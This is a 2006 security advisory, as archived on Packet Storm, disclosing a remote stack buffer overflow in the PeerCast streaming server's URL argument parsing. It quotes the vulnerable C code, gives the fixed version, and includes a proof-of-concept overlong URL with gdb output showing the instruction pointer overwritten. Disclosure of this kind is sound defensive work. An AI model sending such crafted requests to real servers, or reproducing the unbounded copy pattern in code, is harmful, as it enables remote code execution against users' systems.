exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

INFIGO-2006-03-01.txt

INFIGO-2006-03-01.txt
Posted Mar 10, 2006
Authored by INFIGO IS | Site infigo.hr

INFIGO IS Security Advisory #INFIGO-2006-03-01 - After short research, a high-risk vulnerability was discovered in PeerCast Streaming server v0.1215 and lower. Unauthenticated remote users can send specially crafted request to the HTTP server that will cause stack overflow, what can be easily exploited for remote code execution. The problem is present in URL handling code.

tags | advisory, remote, web, overflow, code execution
SHA-256 | c334b17bc91d38d44fffbe0e633dd84255953f426951b55f9564364c3c5337bd

INFIGO-2006-03-01.txt

Change Mirror Download

INFIGO IS Security Advisory #INFIGO-2006-03-01
http://www.infigo.hr/



Title: PeerCast streaming server remote buffer overflow
Advisory ID: INFIGO-2006-03-01
Date: 2006-03-08
Advisory URL: http://www.infigo.hr/in_focus/INFIGO-2006-03-01
Impact: Remote code execution
Risk Level: High
Vulnerability Type: Remote and local
Vendors Status: Vendor was first contacted on 7th March 2006.



==[ Overview

PeerCast is a simple, free way to listen to radio and watch video on the
Internet. It uses P2P technology to let anyone become a broadcaster
without the costs of traditional streaming. This means you get to hear and
watch stations not normally found on commercially funded sites.
PeerCast is available for Linux, Windows and MacOS platforms.
More information can be found on http://www.peercast.org.



==[ Vulnerability

After short research, high-risk vulnerability was discovered in PeerCast
Streaming server. Unauthenticated remote user can send specially crafted
request to the HTTP server that will cause stack overflow, what can be
easily exploited for remote code execution. The problem is present in URL
handling code. When user requests special URL on the server (like
'stream'), arguments are processed with procConnectArgs() function.

Vulnerable code in /code/common/servmgr.cpp
----------------------------------------
void ServMgr::procConnectArgs(char *str,ChanInfo &info)
{
char arg[512];
char curr[256];

char *args = strstr(str,"?");
if (args)
*args++=0;

info.initNameID(str);

if (args)
{

while (args=nextCGIarg(args,curr,arg))
{
...
...
...
----------------------------------------

Function procConnectArgs() will process arguments (char *str) passed to
the server script. Both buffers (arg[512] and curr[256]) allocated on the
stack can be overflowed inside of nextCGIarg() function in while() loop if
too long string is passed after '?' character in URL.

Vulnerable code in /code/common/servhs.cpp:
-------------------------------------------
char *nextCGIarg(char *cp, char *cmd, char *arg)
{
if (!*cp)
return NULL;

// fetch command
while (*cp)
{
char c = *cp++;
if (c == '=')
break;
else
*cmd++ = c;
}
*cmd = 0;

// fetch arg
while (*cp)
{
char c = *cp++;
if (c == '&')
break;
else
*arg++ = c;
}
*arg = 0;

return cp;
}
----------------------------------------



==[ Affected Version

PeerCast v0.1215 and lower.



==[ Fix

Upgrade to PeerCast v0.1217



==[ PoC Exploit

URL:
http://localhost:7144/stream/?AAAAAAAAAAAAAAAAAAAAAAA....(800)

gdb output...
[Switching to Thread 180236 (LWP 4526)]
0x41414141 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x74 116
edx 0x741c9f20 1948032800
ebx 0x4011fff4 1074921460
esp 0xbe3f9e84 0xbe3f9e84
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x41414141 0x41414141
eflags 0x210246 2163270
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb)



==[ Credits

Vulnerability discovered by Leon Juranic <leon.juranic@infigo.hr>.



==[ Contact

INFIGO IS

Web: http://www.infigo.hr
E-mail: infocus@infigo.hr
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close